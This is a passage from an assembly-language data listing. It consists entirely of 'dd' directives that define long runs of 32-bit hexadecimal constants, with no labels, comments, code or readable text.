20D7F901h, 0D97169C8h dd 26B542D0h, 0F75635h, 0B11AA6B3h, 0B0CB7010h, 68BA00FBh dd 58241136h, 5500DF82h, 5F39A007h, 0B500DA0Ch, 0EE5DB0F3h dd 1BCF72F4h, 0D913F81Ah, 0C466D9DAh, 0FD940A14h, 78301850h dd 48B32929h, 0D8E04CE4h, 3507C85Ah, 0EA7F4C74h, 86291EE0h dd 7EA30522h, 580F13Ah, 4924D328h, 0F8904AD4h, 0CF142CB9h dd 7D83544h, 0E915902Eh, 996593E0h, 0D4B150EAh, 0D04C7A48h dd 0DD839478h, 0E1986EAFh, 0F4F7AECCh, 50575BA9h, 0E91A1DB8h dd 0F9F80022h, 0A9C5E3A0h, 0D4009B1Eh, 8D326AD2h, 1242BF9Eh dd 2385FA07h, 0A10A3F34h, 0B49E265Bh, 11AB5489h, 0EFEDD4h dd 0CD3E8159h, 9C5DDFEBh, 0A7E59B00h, 0D59DF040h, 0FBB04C52h dd 498E813Dh, 5978EB85h, 8BE8DB62h, 0F315E401h, 7AB5E6B9h dd 502B69BEh, 2A5380B8h, 0F0C33FA3h, 0C1E561Ch, 8A808200h dd 60CF8681h, 0C9113917h, 0F648407Ah, 0D138E8h, 3E2EDBFCh dd 146BB6Fh, 8A5F10E1h, 32B045FEh, 1AD113C8h, 46EEDC61h dd 89335187h, 0CE96B03Dh, 0D04D81B4h, 41FC8CDCh, 0A0780157h dd 0DE5D8F9Eh, 9800DB9Bh, 437A9035h, 7CBAF819h, 171200CCh dd 15A2183Eh, 0B7011A14h, 92DB5A64h, 0E5D8D2D6h, 0BAB307BCh dd 60B41886h, 2B608DB9h, 609E3A58h, 9421DA30h, 1F90B3h dd 0F1AAC748h, 0B525BDE9h, 46B27F04h, 0B0C380BBh, 0D227B0B3h dd 0DE8B1E68h, 2E2D4055h, 0AD6CC776h, 56F320C0h, 0F04A16BAh dd 1D4C3330h, 9900EA90h, 0B226713h, 3D7BF4Fh, 1FFA6F75h dd 20BDF7B2h, 0EFCF5C58h, 1A135E00h, 534FD897h, 0B12E3FAAh dd 0A7937200h, 0EA05DD08h, 0FB591760h, 0AD08F69h, 0ECD9FCF3h dd 905E0038h, 0FD100B82h, 0F7643C54h, 65C43Bh, 3679C55Fh dd 18DA8492h, 79E4E546h, 0FA30E3A2h, 9B34819h, 747550D9h dd 74380C42h, 7FE14BA2h, 41319E00h, 8A5A404Eh, 0B1C71845h dd 422F4868h, 627ED03h, 0BD4EA1h, 5B640A70h, 459D83C3h dd 1B43F403h, 0E4AA225h, 1CB14451h, 53B58F00h, 50061ADh dd 17D70F97h, 647BDDh, 8D67F4D6h, 70D3A101h, 0C4A62DEEh dd 40E55828h, 2CA7A328h, 74BF4Ch, 9F186E5Eh, 0C865D99Eh dd 0A38042C8h, 0DFB2D3D6h, 8874EBh, 0F2AE1AF4h, 0E37BEF25h dd 84F65E28h, 20463F01h, 0B0A058B2h, 0D7FC6982h, 30F87EDh dd 63A1EFh, 42FA718h, 2B8DB2B0h, 38EAC400h, 0C8FD3236h dd 0DE551D65h, 8C3A8CECh, 28005AC8h, 0AC50A6D9h, 725BCCh dd 9EE99DD0h, 0EB149269h, 98300928h, 0FA939701h, 0E81F9A9Bh dd 0C04D6ECCh, 8267FC18h, 0D50247D4h, 7664E6E4h, 5B3448EBh dd 0A3BD00ECh, 5EE58D42h, 0C844E65Ch, 845229FCh, 40569FC8h dd 907267B1h, 731DEDB2h, 0A8C769DAh, 31C3858Eh, 0B73814FAh dd 0B8904C8Bh, 0A5004622h, 0B51C7B9Eh, 3350D4h, 59FEF5DAh dd 656603C0h, 0E51862FAh, 63314E91h, 76CE7FE6h, 0C37400ECh dd 4892DEE3h, 0CA00BAB0h, 0DD70C5A7h, 920BED41h, 0D2F60128h dd 0AEC9101Ah, 0C5B8C3B1h, 0C700077Bh, 0BEC1B19h, 369D9CCh dd 0AD70E99Fh, 0B8BE12F1h, 905C40Eh, 161E25BDh, 12076054h dd 7C401C72h, 0D8D9DCD4h, 18B0A49Bh, 0B1447AA2h, 0A0A870EAh dd 0BA00A641h, 0CED23A3Dh, 248377A3h, 98945981h, 2E8D5168h dd 3DC9D50Eh, 0DBAB4023h, 24EAB62Ah, 461C54F2h, 0B598A106h dd 4BDCD905h, 0BCC31487h, 2A9B9004h, 2A789816h, 90C0BE4Ch dd 7D050065h, 9084C2E2h, 8028C20h, 3CB10B61h, 0AB444878h dd 0F175005Dh, 99B7EEAFh dd 7000C152h, 0C542F890h, 245B729Ch, 405C3CB2h, 447187C3h dd 5673AD03h, 90E0A431h, 0D35B986h, 2F0DB4ACh, 0E9D9C8B6h dd 84FD3128h, 53DCE703h, 88CE9E25h, 18A21C70h, 2032CC76h dd 0E102EDB3h, 0A609867Bh, 2ADC987Fh, 96F500C5h, 2BC345D6h dd 380CBF4Dh, 91BAEF0Eh, 7F7974F4h, 2579DCh, 4C1BC0D5h dd 0B3E46799h, 1CB53709h, 0BE28005Dh, 370CF3B1h, 40791FA3h dd 0FAC63E72h, 0E523E701h, 7513D89Ch, 779287D8h, 6FAA0969h dd 7801B62Dh, 2605B4D6h, 432250h, 0A5728361h, 8F014A0h dd 0C8680C01h, 40EEC17Bh, 2C49ECFCh, 8344FC67h, 9C52C42Ah dd 0C24F1FB8h, 0B8A1802h, 69577665h, 54664220h, 0CF18633Eh dd 0EA4CF1C2h, 993B50B2h, 11C18098h, 1B70E37Eh, 0C4B40FC9h dd 24EFEF72h, 5A2A6900h, 0CFB0E712h, 13610C48h, 0F821470Bh dd 542405EEh, 7A4E001Ch, 0E33766C7h, 203D57E9h, 4FD28CF5h dd 2771D8h, 52ACDB7Dh, 31B2A10Eh, 649A9407h, 87D0E8E7h dd 2E98CF0h, 0BC8E0261h, 904CDA81h, 825EE80Fh, 0A375632Ch dd 85E87945h, 68589A04h, 4622A814h, 0FCF45C10h, 0FEFF007Ch dd 0CD9B3174h, 309247BFh, 64C82B2Ch, 76EC5860h, 2024A163h dd 44EAF852h, 80D600A8h, 759EE1C6h, 8300D7ACh, 0FA279C37h dd 534D4F04h, 0BE12F40Eh, 0BBE821ECh, 92FCEC6Ah, 6BE8DF00h dd 2C5FCEF8h, 39FF009Dh, 140B09B0h, 0D8919A46h, 0FCF64C0Ah dd 0A0AAD381h, 0D8209041h, 0CEA28926h, 0F3002C66h, 12F2DA82h dd 7C46D35Fh, 0F1CD0C1Bh, 0EF80FE77h, 5807F7F3h, 53D37933h dd 67879D10h, 1118020Fh, 0F984A643h, 40CA43E0h, 9D0AB0A5h dd 14A4A4CEh, 3027E461h, 0C19960h, 0D163F2C7h, 6E43B01Eh dd 64056B05h, 3CC8EEF0h, 9E4F0388h, 2E210F18h, 0E3B098F4h dd 56D3F03Ah, 0A99700FCh, 0F371F9F2h, 2AEE009Dh, 7437B2B7h dd 8D54EDD8h, 313155C8h, 0EACD91ADh, 0CF031C32h, 1C5DE565h dd 638D0599h, 0A2260944h, 0F102F41h, 54A74008h, 424034h dd 31E2580Fh, 64FD6EDAh, 6CB8BA73h, 37A3CF03h, 88296D9h dd 6859EF79h, 976B6A00h, 0BC2FC3Eh, 0FB78AAA8h, 0F34C6031h dd 42D6A100h, 0D3C6F3C3h, 27A22C33h, 532FC0B4h, 0DE004A13h dd 49AF3479h, 249C2D91h, 6724BA57h, 0A0F747E2h, 339AC948h dd 34769377h, 1F5A9B12h, 0F0050C16h, 540455F1h, 59006377h dd 563B95E8h, 0A06D4400h, 26BFBE51h, 0E0D40CF0h, 4629ACEEh dd 20E4B800h, 4227732Dh, 2494014Dh, 0FFDB5737h, 30ECCA3Fh dd 11E7AB01h, 0A8F6C434h, 838770h, 0DC60B95Ah, 1339DF0Fh dd 211F6892h, 5B44583Bh, 34A4E9E6h, 43C00196h, 0F2A27ACFh dd 15BC36B1h, 0D44991h, 0C52B9E75h, 7DA73BFFh, 0D8D425CFh dd 0B9F72010h, 3EB44452h, 237C009Dh, 0E0D1A6C4h, 51900427h dd 90852667h, 3BE1B1B4h, 0A4B4180Eh, 84A240C4h, 2EED4792h dd 50405E7h, 20FFE9F5h, 393EB974h, 8D110899h, 0F7AA2E00h dd 86A584E7h, 0F96C7800h, 4D0E70F2h, 44851679h, 4D90048h dd 5163E2E3h, 6D3E7812h, 10C1DC24h, 7C48B4E0h, 84C64805h dd 8264A3CFh, 7F80C121h, 58BC70FDh, 14409D4Ah, 0D6797C97h dd 8280B1A5h, 40BAD218h, 9565ACE0h, 38941440h, 870009B6h dd 21360D9Dh, 0C9C47FECh, 4DC07E7Ah, 0F0821115h, 2C990B17h dd 1B8242F4h, 9867D195h, 0BA09682Ch, 4F4A931h, 0E422E5B8h dd 80618061h, 0D439D961h, 8CDBE2h, 0DF12B432h, 0E4833690h dd 9C9B59FCh, 4A140500h, 0C7113EADh, 0F29A5B59h, 0E8402EA9h dd 4663EAE7h, 22DD1F91h, 3F001868h, 731450C2h, 0F4CDD7DFh dd 0D06B269Bh, 10250028h, 0E0B2E7CBh, 66E3E902h, 488E67B5h dd 963FB77Ch, 0D7E26020h, 58D289E9h, 0C2AAA060h, 7CB5F0CCh dd 111D00E2h, 4BBCE66Ch, 8F00B69Ch, 0BA3B01F2h, 12E5BEB1h dd 0C85EEA1Eh, 0D931672Ch, 0ECC4714Ah, 0E40F2832h, 6060467Eh dd 410630A7h, 905D000h, 0ED3DE39Fh, 0CF2607C3h, 21C82970h dd 80BB3A59h, 0F0F968B9h, 71979AE2h, 8419017Bh, 0CF340A29h dd 325EEDEDh, 0BA41070Ch, 66607CD4h, 0A4F7FF3h, 0D9DD09B3h dd 0C4A0407Ch, 57074294h, 0EE72C9Eh, 40269152h, 4E6E074h dd 7CFD81CFh, 1F88C2A5h, 0F9E45527h, 2FC5E0A2h, 0BC60423Eh dd 40A4C5h, 4101E0F4h, 16DB38F2h, 0C021A34Ah, 0C4E612DAh dd 24EF2A2Ch, 0E0349243h, 89FC01h, 7E650561h, 3077F60Fh dd 0A44C584Ah, 0C4994Eh, 1C33D3Fh, 6C047A61h, 3472E2F3h dd 645BB32Ch, 6A827B0Eh, 68C8D467h, 97C0C84Ah, 7AFCFAh dd 7CE1AA4Ah, 739C09F4h, 9B3DB97Eh, 58D42E40h, 0E6E80500h dd 3A9D0CEh, 2375E404h, 1007ED66h, 0AB06F9E1h, 87F0CE40h dd 0B2CD0039h, 10719FFDh, 0A100C7C8h, 62BADD76h, 0AFF563h dd 544607A2h, 8F21F206h, 0E60D5800h, 0D5DAB72Dh, 1CC6008Dh dd 0BA73CE8Eh, 79C0E3A1h, 0C22AB790h, 0DAB606F2h, 18CF5E51h dd 0A752F600h, 95643146h, 0AD9E01A5h, 8DD8458Bh, 0B76080BCh dd 66DB6275h, 0CBB014C5h, 5B30DE99h, 0B174B341h, 334A2800h dd 0B6D37C29h, 0D097600Eh, 0DE91BCD0h, 0FB3B28C1h, 0E6DC069Eh dd 7D863BC1h, 0A2CA5287h, 1DD4A19Ch, 0C7E100EEh, 206A02B1h dd 0E9194BCFh, 336762E0h, 804D643Ah, 21BA27E1h, 2281625h dd 141720D2h, 0C490FBC1h, 9E1D494Eh, 771D6A11h, 542E5FC1h dd 8058E3DFh, 0C799CF96h, 0D1F52802h, 0D3190860h, 0EE4EDD00h dd 5D900A5Eh, 0B1E82996h, 0E2FB8C88h, 0D73ED1A9h, 5710001Ah dd 0F50F3264h, 99CD009Bh, 0BA0E442Dh, 4C03A748h, 0FDC175B8h dd 0DCAAB066h, 6C610036h, 8A08D279h, 0A6FA2C44h, 0C015DB00h dd 2D849AA5h, 0C27632h, 2F422B73h, 1F3D7203h, 0F9F7401Eh dd 0F0C1E930h, 95891DFBh, 83B10486h, 0B3848094h, 524826Ah dd 0C4600C59h, 12FD203h, 40A65BC0h, 809BDB24h, 0B1F178C9h dd 7623253h, 0DE955058h, 87D5C04Ch, 980A9196h, 0E8E416FDh dd 6149E000h, 3965426Dh, 8C523C46h, 8ED56905h, 0FFC0293h dd 6A2192A2h, 0B0BE830Bh, 6E79DF00h, 9D460EEAh, 6923C0F3h dd 214DFA33h, 69C6FDh, 0BBC479A1h, 36E0BD4h, 0BA63C239h dd 0B6AE0602h, 3C292C50h, 0C966FD1Eh, 77E882F9h, 0CD38BF00h dd 819F8DEEh, 0DAAE006Ch, 0DD5EF193h, 2D0033A4h, 0E444B5C4h dd 300FA1h, 0B415C253h, 7B2AAAEBh, 1C645E00h, 592214DEh dd 914A1D17h, 0A7F2C090h, 0B1ACCB0Ah, 53781500h, 3220F88Ah dd 3EC5000Eh, 5E438134h, 0C414928Ch, 314AACBh, 4BAFE86Dh dd 5A1006ABh, 7877F7A8h, 0D07AFD06h, 11F0E4h, 48F2DD49h dd 94EAB0Dh, 0BF824402h, 0C098C313h, 133A2666h, 685FB45h dd 60C676CCh, 0C301C273h, 5C9C3B61h, 20C6EA36h, 0A72F63EBh dd 5DEFE600h, 13CDB543h, 0F13C009Ch, 17F997CBh, 98C0A742h dd 70413976h, 3AF0043h, 986B1E0Fh, 400EE3Fh, 85440E64h dd 584DAC05h, 0B90A31E8h, 394C08Ch, 35A3E074h, 5927D3F0h dd 107780A8h, 489FA289h, 1016196Ch, 0DA4F80Bh, 12D0F200h dd 1A9ED164h, 83A10015h, 978CA7C7h, 0D800AE4Bh, 72D3002h dd 1D94CC77h, 4CCF0E7Eh, 1DE0F884h, 0CBAFF900h, 92E5F02Ch dd 7D97028Eh, 7044F6D0h, 0C1EAECAFh, 43FB0318h, 180094A4h dd 26D0AE45h, 547A2CC3h, 6398F1h, 0A7549CE7h, 60E17E08h dd 80EDDE2Bh, 0C04D680Eh, 2F41DEBh, 51AC6070h, 22345460h dd 85437C06h, 1813E0Fh dd 0F476097Fh, 2675B2AFh, 9B1F1510h, 77FB0C88h, 9849ADh dd 6AA8AC34h, 1A4404D1h, 18008E48h, 78205A65h, 0B070071h dd 3B704B66h, 8F1DEEDEh, 0D5475B57h, 4420E926h, 0C0585143h dd 31739B68h, 320108A9h, 0E9CB3971h, 0EBC49A87h, 2655008Eh dd 0F4E6A2BEh, 10302130h, 0A935B933h, 70F0030Ch, 7D9A6D18h dd 2074AA89h, 6F35FCA0h, 4C1D29E6h, 8F247B40h, 236E354h dd 0B15CF188h, 8C43AFFAh, 4E8DE9C3h, 0E200AAB0h, 4BAE788Bh dd 1666E00h, 0BD982A18h, 0B061F3B8h, 4469002Ah, 6A786425h dd 970B4E02h, 0A288AE17h, 925BFCD8h, 1B51C098h, 10A3639Fh dd 99007C10h, 4576F295h, 7B62C03Ah, 0A91B0E7Bh, 0F9C09D72h dd 7AA30898h, 0CF08A26h, 7D0F3C61h, 82264180h, 92E705D6h dd 6500A77Dh, 6CD2B845h, 12E7036h, 3FF1EBF7h, 0C515ECA0h dd 12043221h, 38408B18h, 7355957Fh, 0E31200B8h, 0EC4C1585h dd 0E17284FCh, 28807D00h, 6FCE1344h, 476803EAh, 5424C4Dh dd 0D9614BF8h, 0D04E0200h, 9879721Dh, 0F58B0193h, 4C383F0Ch dd 0AE4DD014h, 177B5700h, 98EBA7D9h, 62F8007Eh, 1E1F279Ch dd 203CB1C4h, 33158F6h, 70DA1CABh, 1468061Ah, 50FEB518h dd 0A800F8F0h, 835E3C9Ah, 30DADE80h, 1F29768Eh, 120004CFh dd 20C83CBFh, 0F879C3D7h, 0C77D08EDh, 0F7074835h, 0BC707ED2h dd 0C8C3EBEh, 4B50F698h, 5C0E51A8h, 0C00AB968h, 0DA388084h dd 6678C013h, 0D9218E1Eh, 5FE83E00h, 79B8FF19h, 0F8EA32h dd 2C8BC284h, 42CC413Dh, 1EC84018h, 2E86CB71h, 0FE05188h dd 0E780B08Eh, 39B4945Dh, 36157B02h, 0A24E8319h, 0A069B594h dd 0BA041CB0h, 0F3450030h, 0C9C69F75h, 58ED7DA8h, 540E9380h dd 0C1C15DBDh, 0D2FCF12h, 0AFC74881h, 80423A1Eh, 5A9A5758h dd 7485BB9Eh, 0F8E10061h, 0CB8A2969h, 57076051h, 89397B4Eh dd 95A39D40h, 7077D2Eh, 6FBA4984h, 2D18057h, 0B40F4DA8h dd 0C1459527h, 83CF06A3h, 3DD94183h, 30004F4Ah, 12053A74h dd 14844730h, 24419B51h, 14C66500h, 666D3F6Bh, 0FDEDEA00h dd 0B20F4DAAh, 2EC00080h, 0D9479056h, 51C01BD1h, 0F9BD8DB7h dd 0B4C407F4h, 0C0779BD3h, 0E5C7A74Eh, 41677F07h, 46C650A9h dd 2BBF3369h, 87C04E08h, 9D0181FFh, 0E42FD317h, 58BE76CFh dd 0B10E673Ah, 1A4010F5h, 6E6F075Ch, 0C61C2D00h, 0DA1F9EEFh dd 0B34F00A9h, 8448B30h, 5CF509B8h, 721E4084h, 47D8260Ch dd 0F03252B1h, 111F61DBh, 5082F51Eh, 9E419A94h, 7D32C018h dd 0C029E7B8h, 0B6850CA9h, 110F78C4h, 6355514Ah, 280AFFh dd 210C9421h, 9F3DB07h, 65D30400h, 1F2910E2h, 0B0DE1481h dd 4100B822h, 838D2776h, 0F20AE962h, 8C4DCA5Bh, 0AEC20742h dd 64AA4A80h, 59B8DA60h, 9D71C06Eh, 4F1EA9C7h, 9A0058A4h dd 0F4048F88h, 6FF4821h, 95855B9Dh, 0DB0060BDh, 37CDE653h dd 84A99Ch, 4C3A5CBh, 8668F49Bh, 5F27A007h, 9952805h, 0A7FFF020h dd 8EF61E72h, 0C530801Ch, 18FABC83h, 3087C024h, 3ED5A140h dd 0EF71263h, 7618074Ch, 6C3B312h, 7B9C9901h, 6384AAA9h dd 0D761D5EEh, 4D042417h, 0CBB2D700h, 12C78AE4h, 49781ED1h dd 7468803Ah, 69F790Bh, 500F4805h, 9846BE81h, 81AAD5h dd 8B21BC92h, 0B024A2B3h, 82FC6402h, 404286C0h, 0A85AE758h dd 80F9Ch, 0A3E2925Ch, 0DC19D3DFh, 8CCD6300h, 913C2F05h dd 0FE2400ECh, 62D2811Bh, 0BC19504Fh, 674165D6h, 0C0BB4BE8h dd 0B39A9980h, 0D8F75A24h, 0FF7E6420h, 63FC9F09h, 0BA60016Fh dd 0A4501C16h, 898497h, 452F665Bh, 0EC717522h, 0B86E0806h dd 612C07h, 70BBC74Fh, 9C33A934h, 0BF499618h, 0FB551F40h dd 65F2AC40h, 1E18408Bh, 53325606h, 690108h, 833458F7h dd 5F1C97B8h, 31CB100Ch, 0EE03612Ah, 88333D7Fh, 0B11B2880h dd 0D9925165h, 388C5048h, 3811423Ch, 18F72449h, 0DCEC140Ah dd 0DDC8B803h, 92E12476h, 50EA8030h, 0C997736Bh, 63AE9403h dd 0B8DDC68Dh, 155E4Ah, 0AD582F7Ah, 0D8679384h, 65020478h dd 0BDE0443Ch, 0A58404Eh, 35A9C05Fh, 0B0BB048Dh, 8CC44F00h dd 92E0B885h, 5C870BFh, 0D2059652h, 8B42564h, 0D942770Ch dd 8058006Ch, 43396749h, 2839008Eh, 917166DFh, 8854149Bh dd 6F32B0CAh, 0B08370C0h, 8F5D750h, 0D380D824h, 7BECCD98h dd 0DEFD0090h, 0C1411DA8h, 4C00F7BCh, 0DB8A34BFh, 12525679h dd 4B3CE6h, 7305F6FCh, 8415BF01h, 0AC0617h, 1B4B5E7Fh dd 10571D9h, 511D79A6h, 0CAABCBC8h, 0AFF0B481h, 8A46F850h dd 27752F0Ah, 0E7938CBBh, 0B2C79020h, 0DCA8001Bh, 784DE22Ch dd 0A70746EEh, 2E6CD7BEh, 65EC1D91h, 0BD5DC881h, 32D4184Fh dd 668A1E74h, 0E0203912h, 2893C13Ah, 984B1FCh, 0ED859448h dd 88613CA4h, 0E81FB578h, 7147E954h, 3E005ADAh, 9022A233h dd 57113F9Ch, 3B47EF85h, 0E915C7B8h, 43F08480h, 9600294Ah dd 7FEB8120h, 0F2F3FBCDh, 7D4200A4h, 3178E837h, 120F6CDFh dd 0E03A40B4h, 0FBD2B19Ah, 0F27F00A4h, 2BA12E81h, 4400D73Ch dd 0CA78CF7Ah, 6733F8BAh, 0F2772080h, 514048AFh, 0C200795Ch dd 0D1E096D9h, 34036Ch, 52C38E47h, 0AEA3B8A1h, 9558E860h dd 6F64222h, 4DB19B3Eh, 4BF8A03Dh, 0F43CD726h, 8EAE300h dd 61A22Ch, 34D4BF7Ch, 0AF9AF693h, 30D5F85Ch, 0B8EB80BBh dd 59A56F6Ch, 198F2386h, 0F9AE30C4h, 82208E22h, 69DDF3h dd 58950EC1h, 9832F00Dh, 6F45D30Ch, 0EA6AF99Ch, 1C9103EDh dd 0A12623B3h, 0FF981906h, 7FB08206h, 8F33014Ah, 0C6FC2D23h dd 0FD8BF00Ah, 0D276B413h, 3599A0Fh, 187BD15h, 0FCAF6D30h dd 809C7BB8h, 6E32E1B1h, 0CC9FE3D3h, 4D881C10h, 13219A60h dd 0EDD2F4h, 466D8AE1h, 0B14C9F60h, 766A0200h, 780E019h dd 2AF30567h, 9B45B0h, 0E743C02Ch, 0DD00717Dh, 21F1BA5h dd 0A15120h, 2E78B78Bh, 0B4872FBBh, 0AE102924h, 90B115h dd 5403C7F4h, 112F776h, 845234B7h, 24EF0E98h, 7A00D224h dd 189B776Ah, 98A5CA70h, 0B148004Ch, 46179F3Dh, 1200E95Ah dd 9A033828h, 0E6AC99D1h, 1E1EEAAh, 67C57EC8h, 48A786BEh dd 40A019DCh, 837472B8h, 0F59C9C0h, 0F6A4A39h, 8A849FC9h dd 18504201h, 861841B7h, 897C4099h, 0E60047D8h, 71C1B507h dd 0A90A34h, 0AAD45C99h, 70BA87AFh, 0D53C48h, 5FA50DB7h dd 0F696346h, 97E47B44h, 45E9FA4Ch, 0A2FD3Eh, 8E8A4AD9h dd 906A4882h, 1413001Ch, 0CFE2A955h, 5400304Eh, 84165F94h dd 945898Bh, 0DA1E3465h, 0CF973400h, 0C13D6B17h, 20077007h dd 0AA56587h, 7C20DF46h, 0DEBF0CCEh, 0CFC9B14Dh, 4B3B0F00h dd 0B5E5D4F4h, 0FDD70AA3h, 9F8C6B42h, 0C43CC284h, 5C4EA033h dd 0C234212h, 7765000h, 0F054A5F1h, 0FD5B2E92h, 0BFDF0005h dd 60288CDh, 4EA94B01h, 0FE293336h, 86199424h, 9B807907h dd 784DB332h, 0AB465010h, 851F1773h, 0B2BF021Ah, 346494B3h dd 380B253Ah, 0C46B01B5h, 0F7ABBDD1h, 18DA4820h, 50D09D42h dd 11204D86h, 97E1099Fh, 0AC20C63Bh, 776BABB4h, 0BEC0507Fh dd 0EE229367h, 746E5045h, 696121Ch, 66980627h, 6A70081Bh dd 0A66E5501h, 1021B475h, 24B1E0F0h, 40E02823h, 5057338Bh dd 0A64C7004h, 0F0823D91h, 733181Bh, 4D064988h, 1800742Eh dd 5315EEAh, 0AA286B36h, 0E10398F7h, 8E4A9724h, 2F6811C5h dd 6F3E01EBh dd 0B009316Bh, 890A30h, 0B566460Fh, 0EB78A5B4h, 9591AF62h dd 639CA123h, 4BE45596h, 0CAC4004Eh, 6E7B21A6h, 0E160072Eh dd 35330440h, 0DC3101DFh, 0AD51D36Ch, 101C308Dh, 604DD43Dh dd 0A5ED7E81h, 195F0185h, 0A92C0C7h, 8257CCFEh, 4460F000h dd 80CD699Bh, 87BE198Bh, 48F93950h, 90001B84h, 62D7E6E8h dd 474D130h, 6A3DA665h, 0CC309422h, 9707B32Ch, 51E04212h dd 91770520h, 0DD7F28Bh, 0D9A1E98Ah, 0CDF42170h, 37C900E8h dd 0CCCF0159h, 2650C7CEh, 6017ED1Fh, 21609614h, 0D3636B59h dd 6A220061h, 0D05C423h, 0F8033119h, 6DB3381Ah, 49278737h dd 6B6C56A0h, 588874A9h, 0EACE60DEh, 9FAC3760h, 1104498Dh dd 31670684h, 1BA81880h, 3A0E2C42h, 0E21A414Ch, 0FE9320B1h dd 0A84E6B29h, 0A3518D00h, 75907EBFh, 684600B9h, 0F5D60E2Bh dd 0C109A9F6h, 885AEBCDh, 0A002C8A9h, 82147FC3h, 0E0C03694h dd 0D35921h, 0A677B47Ah, 11C934AFh, 0F39DB000h, 475A4E0Eh dd 149126FDh, 8F803CE4h, 6BA8CFBCh, 0E5035F4Ch, 95866043h dd 222FF052h, 7CFEB1h, 0B41A2A03h, 32D69FF7h, 458B7600h dd 0F0E43649h, 9E3107D8h, 0EEDEFE6Dh, 0B0083B4Ch, 0A0787250h dd 4375B00h, 0F03ADD26h, 716A264Dh, 322341F4h, 4280240Fh dd 7D0CBF4Dh, 0D5EE941Eh, 0BD913FC0h, 0BAB540h, 29A99DCEh dd 9226174Ah, 0D70C78B2h, 51F996FEh, 59B100FBh, 2AF0E294h dd 5D0B498Bh, 104D88AFh, 2ACD1E0h, 0D60DF599h, 3C68CF95h dd 9200798Bh, 3E3C904Eh, 284FED6Bh, 5AC3560h, 2E5B34DEh dd 0E2088DFh, 26703B50h, 10F84Ch, 0EEF327E0h, 0FDDE8Fh dd 0C8BAB02h, 20590A3Dh, 3702C57Ah, 0FAA60B1Ch, 0CC4177D6h dd 0E118A1Ah, 99001405h, 2EE934CCh, 0C38A0DDh, 21AF0131h dd 2276102Bh, 0E13FD123h, 640871D8h, 1E93E50h, 1D296FCh dd 8F228A4Fh, 6009CF48h, 65B52CA3h, 0F6332A99h, 524D3098h dd 0E339E639h, 7568CB00h, 0BC4B87Bh, 4C2C0B37h, 4888996Ah dd 246560B8h, 69D9A61Bh, 0CEF857E8h, 32F60052h, 42506E53h dd 0FA0CDD83h, 0C9BC439Bh, 0E1C2004Dh, 9F6777D3h, 20618FFh dd 0F38E71B9h, 158A0620h, 31BA4342h, 0F91C7F00h, 3B38DD0Fh dd 5B5D0014h, 0B7E77DD5h, 8D607293h, 78113629h, 6C9C39EAh dd 44B0250Bh, 2DFC2410h, 0D003092h, 8678ADDEh, 305032DDh dd 8B418CAEh, 0E9306DABh, 8A05887Fh, 0E8A405D3h, 8A347BC2h dd 4E331C80h, 0DE2F9B41h, 0E0321105h, 8C7C6F06h, 2318CE48h dd 8AD99230h, 0C40A0045h, 562412D8h, 88006CE3h, 0F8369F07h dd 385D34Dh, 0B8461874h, 3DA11B29h, 0B323C86Ch, 3E11A1C2h dd 4568E0B6h, 6A7B889Ah, 0C1DB9300h, 4E168E89h, 30321CD5h dd 45FF83AEh, 8288FCAFh, 390F575Ch, 4736ACC6h, 0F2057110h dd 0FF6A3CC0h, 8FD0E79Ch, 0CF7D07EFh, 0C00D4D14h, 400C4E97h dd 0E00F3F02h, 0E67BBE88h, 0AFB421A4h, 9112423Eh, 6903073h dd 7E09346Bh, 864D83A7h, 111683Fh, 6E6430A8h, 327269FCh dd 14451604h, 2012D45Eh, 0E8967460h, 6CCB1631h, 3380709Bh dd 4A176B3Ch, 2C04B00Fh, 3752BD22h, 53D310F0h, 0CD01F9AFh dd 9FFB3F8h, 0BC46723h, 0F57C0B9Eh, 0F082A151h, 0C020EC2Eh dd 0EF8E640Ch, 0B8185C61h, 24C710E2h, 603CA28Bh, 3E34BD14h dd 0B3A22E26h, 0AE060C0Dh, 9C20C821h, 23444BBEh, 4F8C8D24h dd 0A9C8C0B8h, 92095615h, 0E33F51B4h, 0CC59008h, 0F494D62Ch dd 9D004811h, 607AE957h, 6A3B8Ch, 55254A69h, 99EBACD5h dd 7D4474Ch, 1B33EA86h, 6C67CC60h, 0E70E244Eh, 0A3070A74h dd 53D180A4h, 392EA5Ch, 6C78A12Eh, 0ED228080h, 889C5945h dd 0EF2E4D1Ch, 78240426h, 2C89240Fh, 0FF0D1B4h, 6DA5A69Ch dd 0BD049143h, 0ADC0FEC3h, 0D02ED3EFh, 2A3F9419h, 0E200E03Eh dd 83A87371h, 75439184h, 90EF009Ah, 0C18893BCh, 332697F4h dd 0E0A4D0D1h, 0B337F360h, 0A803132Ch, 9944086Dh, 0A8B5428Ah dd 0BE5E549Ch, 20D588C7h, 3DAC7EB1h, 0B7803C28h, 0FEFCA74Fh dd 6A0E6D09h, 6E44184Ch, 0BB03849Ch, 329884A6h, 0E42158FDh dd 6FD88B74h, 5503903Eh, 203D8538h, 466102B2h, 5EC67B3h dd 204004E2h, 3F591BA9h, 11A8B1Ch, 0FF477B28h, 0C0980470h dd 10D0ED19h, 1F0261F4h, 0C71A3BF5h, 0E8A461D4h, 20B97442h dd 50A80440h, 9C831300h, 7985CEE7h, 0EEFA0288h, 0F75A1F66h dd 407F7041h, 0DE42877Ch, 50EC5035h, 0D10B7C0Ch, 0AA2602A0h dd 0B21E73B1h, 6210B441h, 0B022CCh, 152D0F50h, 0EA92CBE6h dd 0DA01B700h, 0BF971F2Fh, 4DE318E7h, 34025153h, 0A2E49500h dd 42B2795Bh, 3E350FCCh, 9AA040B9h, 1D022180h, 784EC092h dd 38972C21h, 14780028h, 142719A5h, 2F241302h, 3CC88BE3h dd 767AB7FDh, 667BB079h, 4A707AECh, 84620898h, 5A6A3E89h dd 44B81858h, 97FC193Fh, 0E0308CA8h, 0E072A13Fh, 0C590891Ah dd 0A2670F45h, 41CA85DDh, 0FFD4AB8h, 4444690Fh, 3178C04Ch dd 7A00C33Bh, 81ADD407h, 29A16870h, 844E5Fh, 2475894Fh dd 98009C0Dh, 0DFBAE3C7h, 3F1B77Ah, 0E88EA0BEh, 59E04A7Eh dd 270CA666h, 4898CF6Fh, 8438908Bh, 5839F4C4h, 0A68ADC22h dd 3A6D8098h, 3FFFC07Ah, 6E25AF00h, 0F0804A17h, 49B20012h dd 8FB7393h, 8F001057h, 8103AB3Bh, 12CDB045h, 306B8BBFh dd 0DC342D9Ch, 0D103E200h, 0C1509038h, 0BF18207Ah, 0CC224Ch dd 5E360515h, 903C3277h, 4FA4BD1h, 8C87B354h, 5C008E00h dd 0D164893Fh, 0BFCCA1h, 73D9F585h, 8EFD86EBh, 8FFC7258h dd 